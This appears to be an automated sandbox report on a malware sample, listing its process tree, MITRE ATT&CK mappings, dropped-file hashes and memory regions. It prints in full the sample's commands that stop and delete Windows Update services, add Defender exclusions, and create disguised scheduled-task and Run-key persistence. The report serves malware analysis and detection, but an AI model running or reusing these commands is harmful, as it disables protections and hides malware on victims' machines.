- Suspicious use of AdjustPrivilegeToken
PID:1860

C:\Windows\SYSTEM32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
- Suspicious use of WriteProcessMemory
PID:4240

C:\Windows\system32\sc.exe
sc stop UsoSvc
4⤵
- Launches sc.exe
PID:456

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
4⤵
- Launches sc.exe
PID:3500

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
- Launches sc.exe
PID:4348

C:\Windows\system32\sc.exe
sc stop bits
4⤵
- Launches sc.exe
PID:856

C:\Windows\system32\sc.exe
sc stop dosvc
4⤵
- Launches sc.exe
PID:2416

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
4⤵
PID:1972

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
4⤵
PID:1344

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
4⤵
- Modifies security service
PID:2152

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
4⤵
PID:2672

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
4⤵
PID:1140

C:\Windows\SYSTEM32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of WriteProcessMemory
PID:1532

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1624

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1320

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4428

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2760

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#svswkfzf#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Realtek' /tr '''C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Realtek' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Realtek" /t REG_SZ /f /d 'C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe' }
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3508

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#fvdhjwqj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "Realtek" } Else { "C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe" }
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1776

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn Realtek
4⤵
PID:4320

C:\Users\Admin\AppData\Local\Temp\MASTER 8BP.exe
"C:\Users\Admin\AppData\Local\Temp\MASTER 8BP.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:212

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3168

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1380

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1032

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 10 /tr "'C:\Users\All Users\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1060

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Users\All Users\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3892

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 11 /tr "'C:\Users\All Users\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2740

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\System.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:672

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3480

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:456

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 5 /tr "'C:\Users\Default\Downloads\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1368

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Users\Default\Downloads\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1548

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 5 /tr "'C:\Users\Default\Downloads\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4140

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:216

C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe
"C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:288

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4484

C:\Windows\system32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
- Suspicious use of WriteProcessMemory
PID:1504

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:2220

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:3016

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:2192

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:1032

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:3432

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:3392

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:2632

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
PID:1956

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:4656

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:4384

C:\Windows\system32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:3480

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:1880

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:5080

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:4164

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:3092

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#svswkfzf#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Realtek' /tr '''C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Realtek' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Realtek" /t REG_SZ /f /d 'C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe' }
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4780

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe lloebzutcnm
2⤵
PID:4504

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
3⤵
- Drops file in Program Files directory
PID:1268

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:4472

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
3⤵
PID:2028

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Libs\g.log
Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe
Filesize
2.0MB

MD5
158fc80385e03bc9190be1d44493b585

SHA1
90c82c58432711d773e70b351c7943c7354b9930

SHA256
30ba733a5d5626ed0787a7fef982b8f426dfe2c70c42c9086fb581d20406bef8

SHA512
12c9eccee01f9322cb6a063f5a7bd8f4755f641bf37c72864c0d9602a750bc69a29cc7192d7cf7573790461aa3356d4924c79bacb3c6f8099f448891533976b5

Download Submit
C:\Program Files\Realtek\Realtek High Definition Audio\Updater.exe
Filesize
2.0MB

MD5
158fc80385e03bc9190be1d44493b585

SHA1
90c82c58432711d773e70b351c7943c7354b9930

SHA256
30ba733a5d5626ed0787a7fef982b8f426dfe2c70c42c9086fb581d20406bef8

SHA512
12c9eccee01f9322cb6a063f5a7bd8f4755f641bf37c72864c0d9602a750bc69a29cc7192d7cf7573790461aa3356d4924c79bacb3c6f8099f448891533976b5

Download Submit
C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\explorer.exe
Filesize
1.6MB

MD5
0ea53df77445bfbde349bd4eed09dae1

SHA1
b4df1111097fbfb9a9ea3ad86ac130716fea12d0

SHA256
83f1a1d7936de3a686abf664e40790ab48bc2043cee630a7f96954935886f335

SHA512
4396c5815c3e2613083e4866d60a363f7cc6a38647abcacfcc7500d2b1654da4821b0c597368c490325196607c40ad80f19b12f87e8594c1e88f2a02a7a73357

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
b51dc9e5ec3c97f72b4ca9488bbb4462

SHA1
5c1e8c0b728cd124edcacefb399bbd5e25b21bd3

SHA256
976f9534aa2976c85c2455bdde786a3f55d63aefdd40942eba1223c4c93590db

SHA512
0e5aa6cf64c535aefb833e5757b68e1094c87424abe2615a7d7d26b1b31eff358d12e36e75ca57fd690a9919b776600bf4c5c0e5a5df55366ba62238bdf3f280

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
d76f1ecef58126ce7607adbdd0d29804

SHA1
d9f236fe4bfbd818d19fb1cbd50d2466b4f1002d

SHA256
26377db968f34031c72ae2cf3272368e6a94dd5380d41704e4fddd283aa8220a

SHA512
72b9551058dd2769cc3c3b1a8f0b8339b78e07bc93646293578e31d09ae5e3081e8d78b825cc5c8a915a495677725871b4de499e50b2bcebbf0b1ef4acb3164c

Download Submit
C:\Users\Admin\AppData\Local\Temp\MASTER 8BP.exe
Filesize
2.1MB

MD5
3ee631ed0386c88faaad83c97ade2dcd

SHA1
308ac9da54565404430b220881c76f49793c0e9f

SHA256
be66aee2bca9fe25b83908cb03dd991670725c754df97b2ea66eeca5e3d1f8c6

SHA512
976f1d04125ff29c4ef90efc2fd91db9cb146261a14c68a04169c955755a53d3f8c436c5c41a93564b4aa4800317e0b61b170ebc409eb346f5ae29762e518e0d

Download Submit
C:\Users\Admin\AppData\Local\Temp\MASTER 8BP.exe
Filesize
2.1MB

MD5
3ee631ed0386c88faaad83c97ade2dcd

SHA1
308ac9da54565404430b220881c76f49793c0e9f

SHA256
be66aee2bca9fe25b83908cb03dd991670725c754df97b2ea66eeca5e3d1f8c6

SHA512
976f1d04125ff29c4ef90efc2fd91db9cb146261a14c68a04169c955755a53d3f8c436c5c41a93564b4aa4800317e0b61b170ebc409eb346f5ae29762e518e0d

Download Submit
C:\Users\Admin\AppData\Local\Temp\MASTER 8BP.exe
Filesize
2.1MB

MD5
3ee631ed0386c88faaad83c97ade2dcd

SHA1
308ac9da54565404430b220881c76f49793c0e9f

SHA256
be66aee2bca9fe25b83908cb03dd991670725c754df97b2ea66eeca5e3d1f8c6

SHA512
976f1d04125ff29c4ef90efc2fd91db9cb146261a14c68a04169c955755a53d3f8c436c5c41a93564b4aa4800317e0b61b170ebc409eb346f5ae29762e518e0d

Download Submit
C:\Users\Admin\AppData\Local\Temp\XCPxq7rxxR.bat
Filesize
249B

MD5
2b5fe8dae625a50445dd1204b6944d8d

SHA1
9c8f40eef854eda1b32a51c8670c114a7a5a6b99

SHA256
ff8dd65366ffe953d6de103e391f84fcd2956f0f4c5ff96aee64f1bb09f63529

SHA512
0cfb3b958f5331fcf20ba996bf53744b8a507d47c316fb9db895ecadf35fb679258c0381342b397709ef2b4b145a17bfe29fb7987b27ca37e3b726a1a252d78b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zbis5asf.n10.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\bl_fontreviewmonitordllrefsvc.exe
Filesize
1.6MB

MD5
0ea53df77445bfbde349bd4eed09dae1

SHA1
b4df1111097fbfb9a9ea3ad86ac130716fea12d0

SHA256
83f1a1d7936de3a686abf664e40790ab48bc2043cee630a7f96954935886f335

SHA512
4396c5815c3e2613083e4866d60a363f7cc6a38647abcacfcc7500d2b1654da4821b0c597368c490325196607c40ad80f19b12f87e8594c1e88f2a02a7a73357

Download Submit
C:\Users\Admin\AppData\Roaming\bl_fontreviewmonitordllrefsvc.exe
Filesize
1.6MB

MD5
0ea53df77445bfbde349bd4eed09dae1

SHA1
b4df1111097fbfb9a9ea3ad86ac130716fea12d0

SHA256
83f1a1d7936de3a686abf664e40790ab48bc2043cee630a7f96954935886f335

SHA512
4396c5815c3e2613083e4866d60a363f7cc6a38647abcacfcc7500d2b1654da4821b0c597368c490325196607c40ad80f19b12f87e8594c1e88f2a02a7a73357

Download Submit
C:\Users\Admin\AppData\Roaming\bl_fontreviewmonitordllrefsvc.exe
Filesize
1.6MB

MD5
0ea53df77445bfbde349bd4eed09dae1

SHA1
b4df1111097fbfb9a9ea3ad86ac130716fea12d0

SHA256
83f1a1d7936de3a686abf664e40790ab48bc2043cee630a7f96954935886f335

SHA512
4396c5815c3e2613083e4866d60a363f7cc6a38647abcacfcc7500d2b1654da4821b0c597368c490325196607c40ad80f19b12f87e8594c1e88f2a02a7a73357

Download Submit
C:\Users\Admin\AppData\Roaming\conhost_8.exe
Filesize
2.0MB

MD5
b521b2a220a99d820b688d4ad5db8067

SHA1
08e97a2e4871b789d3388fd51479710626b69a92

SHA256
55371f430ea0369bf4e079f39558a4c6c5462b19ddc9f16f064286288f50a12b

SHA512
2e4d9b8d556a609abae4dfedf18136618fb1bb8f77d3a596c97bffc2edde9dec147456dcf586c00de9a438b789599fe288de8117109b6b04db9045279b3caca1

Download Submit
C:\Users\Admin\AppData\Roaming\conhost_8.exe
Filesize
2.0MB

MD5
b521b2a220a99d820b688d4ad5db8067

SHA1
08e97a2e4871b789d3388fd51479710626b69a92

SHA256
55371f430ea0369bf4e079f39558a4c6c5462b19ddc9f16f064286288f50a12b

SHA512
2e4d9b8d556a609abae4dfedf18136618fb1bb8f77d3a596c97bffc2edde9dec147456dcf586c00de9a438b789599fe288de8117109b6b04db9045279b3caca1

Download Submit
C:\Users\Admin\AppData\Roaming\conhost_8.exe
Filesize
2.0MB

MD5
b521b2a220a99d820b688d4ad5db8067

SHA1
08e97a2e4871b789d3388fd51479710626b69a92

SHA256
55371f430ea0369bf4e079f39558a4c6c5462b19ddc9f16f064286288f50a12b

SHA512
2e4d9b8d556a609abae4dfedf18136618fb1bb8f77d3a596c97bffc2edde9dec147456dcf586c00de9a438b789599fe288de8117109b6b04db9045279b3caca1

Download Submit
C:\Users\All Users\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\explorer.exe
Filesize
1.6MB

MD5
0ea53df77445bfbde349bd4eed09dae1

SHA1
b4df1111097fbfb9a9ea3ad86ac130716fea12d0

SHA256
83f1a1d7936de3a686abf664e40790ab48bc2043cee630a7f96954935886f335

SHA512
4396c5815c3e2613083e4866d60a363f7cc6a38647abcacfcc7500d2b1654da4821b0c597368c490325196607c40ad80f19b12f87e8594c1e88f2a02a7a73357

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

Download Submit
memory/288-357-0x00007FF751E90000-0x00007FF7520A5000-memory.dmp

Filesize
2.1MB

Download
memory/288-365-0x00007FF751E90000-0x00007FF7520A5000-memory.dmp

Filesize
2.1MB

Download
memory/288-299-0x00007FF751E90000-0x00007FF7520A5000-memory.dmp

Filesize
2.1MB

Download
memory/1292-300-0x000000001CE70000-0x000000001CF70000-memory.dmp

Filesize
1024KB

Download
memory/1292-368-0x000000001CE70000-0x000000001CF70000-memory.dmp

Filesize
1024KB

Download
memory/1292-298-0x000000001B170000-0x000000001B180000-memory.dmp

Filesize
64KB

Download
memory/1292-206-0x000000001B170000-0x000000001B180000-memory.dmp

Filesize
64KB

Download
memory/1292-207-0x000000001B170000-0x000000001B180000-memory.dmp

Filesize
64KB

Download
memory/1292-209-0x000000001B170000-0x000000001B180000-memory.dmp

Filesize
64KB

Download
memory/1292-208-0x000000001B170000-0x000000001B180000-memory.dmp

Filesize
64KB

Download
memory/1292-301-0x000000001CE70000-0x000000001CF70000-memory.dmp

Filesize
1024KB

Download
memory/1292-380-0x000000001B170000-0x000000001B180000-memory.dmp

Filesize
64KB

Download
memory/1292-292-0x000000001B170000-0x000000001B180000-memory.dmp

Filesize
64KB

Download
memory/1292-366-0x000000001CE70000-0x000000001CF70000-memory.dmp

Filesize
1024KB

Download
memory/1292-297-0x000000001B170000-0x000000001B180000-memory.dmp

Filesize
64KB

Download
memory/1292-296-0x000000001CE70000-0x000000001CF70000-memory.dmp

Filesize
1024KB

Download
memory/1292-295-0x000000001B170000-0x000000001B180000-memory.dmp

Filesize
64KB

Download
memory/1292-294-0x000000001B170000-0x000000001B180000-memory.dmp

Filesize
64KB

Download
memory/1292-293-0x000000001CE70000-0x000000001CF70000-memory.dmp

Filesize
1024KB

Download
memory/1292-379-0x000000001CE70000-0x000000001CF70000-memory.dmp

Filesize
1024KB

Download
memory/1776-273-0x000001C287300000-0x000001C287310000-memory.dmp

Filesize
64KB

Download
memory/1776-272-0x000001C287300000-0x000001C287310000-memory.dmp

Filesize
64KB

Download
memory/1776-274-0x000001C287300000-0x000001C287310000-memory.dmp

Filesize
64KB

Download
memory/1860-220-0x0000023987640000-0x0000023987650000-memory.dmp

Filesize
64KB

Download
memory/1860-221-0x0000023987640000-0x0000023987650000-memory.dmp

Filesize
64KB

Download
memory/1920-195-0x000000001B1C9000-0x000000001B1CF000-memory.dmp

Filesize
24KB

Download
memory/1920-173-0x000000001B1C0000-0x000000001B1D0000-memory.dmp

Filesize
64KB

Download
memory/1920-158-0x0000000000490000-0x000000000063E000-memory.dmp

Filesize
1.7MB

Download
memory/1920-167-0x000000001B1C0000-0x000000001B1D0000-memory.dmp

Filesize
64KB

Download
memory/1920-168-0x000000001C500000-0x000000001C550000-memory.dmp

Filesize
320KB

Download
memory/1920-169-0x000000001CBA0000-0x000000001D0C8000-memory.dmp

Filesize
5.2MB

Download
memory/1920-171-0x000000001B1C0000-0x000000001B1D0000-memory.dmp

Filesize
64KB

Download
memory/2308-133-0x0000000000400000-0x00000000015D9000-memory.dmp

Filesize
17.8MB

Download
memory/2308-166-0x0000000000400000-0x00000000015D9000-memory.dmp

Filesize
17.8MB

Download
memory/2308-136-0x000000007FA70000-0x000000007FE41000-memory.dmp

Filesize
3.8MB

Download
memory/2308-134-0x0000000000400000-0x00000000015D9000-memory.dmp

Filesize
17.8MB

Download
memory/2632-241-0x00007FF7F4860000-0x00007FF7F4A75000-memory.dmp

Filesize
2.1MB

Download
memory/2632-202-0x00007FF7F4860000-0x00007FF7F4A75000-memory.dmp

Filesize
2.1MB

Download
memory/2860-197-0x0000020D50420000-0x0000020D50430000-memory.dmp

Filesize
64KB

Download
memory/2860-198-0x0000020D50420000-0x0000020D50430000-memory.dmp

Filesize
64KB

Download
memory/2860-199-0x0000020D50420000-0x0000020D50430000-memory.dmp

Filesize
64KB

Download
memory/2860-185-0x0000020D510E0000-0x0000020D51102000-memory.dmp

Filesize
136KB

Download
memory/3508-237-0x000001BDA1BF0000-0x000001BDA1C00000-memory.dmp

Filesize
64KB

Download
memory/3508-235-0x000001BDA1BF0000-0x000001BDA1C00000-memory.dmp

Filesize
64KB

Download
memory/3508-236-0x000001BDA1BF0000-0x000001BDA1C00000-memory.dmp

Filesize
64KB

Download
memory/3508-234-0x000001BDA1BF0000-0x000001BDA1C00000-memory.dmp

Filesize
64KB

Download
memory/4484-331-0x0000026BF81C0000-0x0000026BF81CA000-memory.dmp

Filesize
40KB

Download
memory/4484-323-0x0000026BF79F0000-0x0000026BF79FA000-memory.dmp

Filesize
40KB

Download
memory/4484-329-0x0000026BF8180000-0x0000026BF8188000-memory.dmp

Filesize
32KB

Download
memory/4484-328-0x0000026BF81D0000-0x0000026BF81EA000-memory.dmp

Filesize
104KB

Download
memory/4484-311-0x0000026BF7A00000-0x0000026BF7A10000-memory.dmp

Filesize
64KB

Download
memory/4484-330-0x0000026BF81B0000-0x0000026BF81B6000-memory.dmp

Filesize
24KB

Download
memory/4484-312-0x0000026BF7A00000-0x0000026BF7A10000-memory.dmp

Filesize
64KB

Download
memory/4484-327-0x0000026BF8170000-0x0000026BF817A000-memory.dmp

Filesize
40KB

Download
memory/4484-322-0x0000026BF7F50000-0x0000026BF7F6C000-memory.dmp

Filesize
112KB

Download
memory/4484-326-0x00007FF4DD820000-0x00007FF4DD830000-memory.dmp

Filesize
64KB

Download
memory/4484-325-0x0000026BF7A00000-0x0000026BF7A10000-memory.dmp

Filesize
64KB

Download
memory/4484-324-0x0000026BF8190000-0x0000026BF81AC000-memory.dmp

Filesize
112KB

Download
memory/4504-367-0x00007FF7AB330000-0x00007FF7AB379000-memory.dmp

Filesize
292KB

Download
memory/4780-346-0x000001B9CC5B0000-0x000001B9CC5C0000-memory.dmp

Filesize
64KB

Download
memory/4780-360-0x000001B9CC5B9000-0x000001B9CC5BF000-memory.dmp

Filesize
24KB

Download
